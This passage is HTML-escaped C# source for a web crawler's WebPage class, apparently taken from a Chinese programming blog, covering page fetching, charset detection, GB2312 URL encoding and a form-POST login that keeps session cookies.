p;&nbsp;&nbsp;Stream&nbsp;sm&nbsp;=&nbsp;rsps.GetResponseStream();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!rsps.ContentType.ToLower().StartsWith(&#34;text/&#34;)&nbsp;||&nbsp;rsps.ContentLength&nbsp;&gt;&nbsp;1&nbsp;&lt;&lt;&nbsp;22)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rsps.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Encoding&nbsp;cding&nbsp;=&nbsp;System.Text.Encoding.Default;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;contenttype=rsps.ContentType.ToLower();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;ix&nbsp;=&nbsp;contenttype.IndexOf(&#34;charset=&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ix&nbsp;!=&nbsp;-1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cding&nbsp;=&nbsp;System.Text.Encoding.GetEncoding(rsps.ContentType.Substring(ix&nbsp;+&nbsp;&#34;charset&#34;.Length&nbsp;+&nbsp;1));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cding&nbsp;=&nbsp;Encoding.Default;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_html&nbsp;=&nbsp;new&nbsp;StreamReader(sm,&nbsp;cding).ReadToEnd();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_html&nbsp;=&nbsp;new&nbsp;StreamReader(sm,&nbsp;cding).ReadToEnd();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex&nbsp;regex&nbsp;=&nbsp;new&nbsp;Regex(&#34;charset=(?&lt;cding&gt;[^=]+)?\&#34;&#34;,RegexOptions.IgnoreCase);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;strcding&nbsp;=&nbsp;regex.Match(m_html).Groups[&#34;cding&#34;].Value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cding&nbsp;=&nbsp;Encoding.GetEncoding(strcding);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cding&nbsp;=&nbsp;Encoding.Default;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[]&nbsp;bytes=Encoding.Default.GetBytes(m_html.ToCharArray());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_html&nbsp;=&nbsp;cding.GetString(bytes);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(m_html.Split(&#39;?&#39;).Length&nbsp;&gt;&nbsp;100)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_html=Encoding.Default.GetString(bytes);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pagesize&nbsp;=&nbsp;m_html.Length;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_uri&nbsp;=&nbsp;rsps.ResponseUri;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rsps.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(Exception&nbsp;ex)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine(ex.Message+m_uri.ToString());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;WebPage(string&nbsp;_url)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;uurl&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uurl&nbsp;=&nbsp;Uri.UnescapeDataString(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_url&nbsp;=&nbsp;uurl;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;{&nbsp;};<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex&nbsp;re&nbsp;=&nbsp;new&nbsp;Regex(&#34;(?&lt;h&gt;[^\x00-\xff]+)&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Match&nbsp;mc&nbsp;=&nbsp;re.Match(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(mc.Success)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;han&nbsp;=&nbsp;mc.Groups[&#34;h&#34;].Value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_url&nbsp;=&nbsp;_url.Replace(han,&nbsp;System.Web.HttpUtility.UrlEncode(han,&nbsp;Encoding.GetEncoding(&#34;GB2312&#34;)));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Init(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;WebPage(string&nbsp;_url,&nbsp;string&nbsp;_loginurl,&nbsp;string&nbsp;_post)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;uurl&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uurl&nbsp;=&nbsp;Uri.UnescapeDataString(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_url&nbsp;=&nbsp;uurl;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;{&nbsp;};<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regex&nbsp;re&nbsp;=&nbsp;new&nbsp;Regex(&#34;(?&lt;h&gt;[^\x00-\xff]+)&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Match&nbsp;mc&nbsp;=&nbsp;re.Match(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(mc.Success)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;han&nbsp;=&nbsp;mc.Groups[&#34;h&#34;].Value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_url&nbsp;=&nbsp;_url.Replace(han,&nbsp;System.Web.HttpUtility.UrlEncode(han,&nbsp;Encoding.GetEncoding(&#34;GB2312&#34;)));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(_loginurl.Trim()&nbsp;==&nbsp;&#34;&#34;&nbsp;||&nbsp;_post.Trim()&nbsp;==&nbsp;&#34;&#34;&nbsp;||&nbsp;WebPage.webcookies.ContainsKey(new&nbsp;Uri(_url).Host))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Init(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;登陆<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;indata&nbsp;=&nbsp;_post;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_post&nbsp;=&nbsp;_post;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_loginurl&nbsp;=&nbsp;_loginurl;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[]&nbsp;bytes&nbsp;=&nbsp;Encoding.Default.GetBytes(_post);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CookieContainer&nbsp;myCookieContainer&nbsp;=&nbsp;new&nbsp;CookieContainer();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//新建一个CookieContainer来存放Cookie集合&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;myHttpWebRequest&nbsp;=&nbsp;(HttpWebRequest)WebRequest.Cr&#101;ate(_loginurl);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//新建一个HttpWebRequest&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.ContentType&nbsp;=&nbsp;&#34;application/x-www-form-urlencoded&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.AllowAutoRedirect&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.UserAgent&nbsp;=&nbsp;&#34;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;5.01;&nbsp;Windows&nbsp;NT&nbsp;5.0)&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.Timeout&nbsp;=&nbsp;60000;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.KeepAlive&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.ContentLength&nbsp;=&nbsp;bytes.Length;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.Method&nbsp;=&nbsp;&#34;POST&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebRequest.CookieContainer&nbsp;=&nbsp;myCookieContainer;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设置HttpWebRequest的CookieContainer为刚才建立的那个myCookieContainer&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Stream&nbsp;myRequestStream&nbsp;=&nbsp;myHttpWebRequest.GetRequestStream();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myRequestStream.Write(bytes,&nbsp;0,&nbsp;bytes.Length);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myRequestStream.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebResponse&nbsp;myHttpWebResponse&nbsp;=&nbsp;(HttpWebResponse)myHttpWebRequest.GetResponse();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(Cookie&nbsp;ck&nbsp;in&nbsp;myHttpWebResponse.Cookies)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myCookieContainer.Add(ck);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myHttpWebResponse.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Init(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;登陆后再访问页面<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_uri&nbsp;=&nbsp;new&nbsp;Uri(_url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_links&nbsp;=&nbsp;new&nbsp;List&lt;Link&gt;();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_html&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_outstr&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_title&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(_url.EndsWith(&#34;.rar&#34;)&nbsp;||&nbsp;_url.EndsWith(&#34;.dat&#34;)&nbsp;||&nbsp;_url.EndsWith(&#34;.msi&#34;))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_good&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HttpWebRequest&nbsp;rqst&nbsp;=&nbsp;(HttpWebRequest)WebRequest.Cr&#101;ate(m_uri);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rqst.AllowAutoRedirect&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;